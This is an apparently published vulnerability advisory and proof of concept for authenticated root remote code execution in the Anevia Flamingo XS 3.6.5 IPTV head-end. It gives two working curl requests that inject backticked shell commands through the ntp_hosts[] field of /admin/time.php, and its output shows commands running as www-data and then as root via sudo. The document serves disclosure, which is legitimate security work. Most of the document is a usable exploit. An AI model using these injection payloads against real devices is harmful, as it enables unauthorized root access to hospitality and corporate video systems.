Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution

Exploit Title: Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution
Exploit Author: LiquidWorm
Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.6.5
                  Hardware revision: 1.1
                  SoapLive 2.4.0
                  SoapSystem 1.3.1

Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.

Desc: The affected device suffers from authenticated remote code
execution vulnerability. A remote attacker can exploit this issue
and execute arbitrary system commands granting her system access
with root privileges.

Tested on: GNU/Linux 3.14.29 (x86_64)
           Apache/2.2.22 (Debian)
           PHP/5.6.0-0anevia2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5778
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5778.php


13.04.2023

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$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60id%60&ntp_address=&update=Apply&request=ntp" |findstr www-data
        <td>uid=33(www-data)</td>
          <input type="hidden" name="ntp_hosts[]" value="uid=33(www-data)"/>
        <td>gid=33(www-data)</td>
          <input type="hidden" name="ntp_hosts[]" value="gid=33(www-data)"/>
        <td>groups=33(www-data),6(disk),25(floppy)</td>
          <input type="hidden" name="ntp_hosts[]" value="groups=33(www-data),6(disk),25(floppy)"/>


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$ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60sudo%20id%60&ntp_address=&update=Apply&request=ntp" |findstr root
        <td>uid=0(root)</td>
          <input type="hidden" name="ntp_hosts[]" value="uid=0(root)"/>
        <td>gid=0(root)</td>
          <input type="hidden" name="ntp_hosts[]" value="gid=0(root)"/>
        <td>groups=0(root)</td>
          <input type="hidden" name="ntp_hosts[]" value="groups=0(root)"/>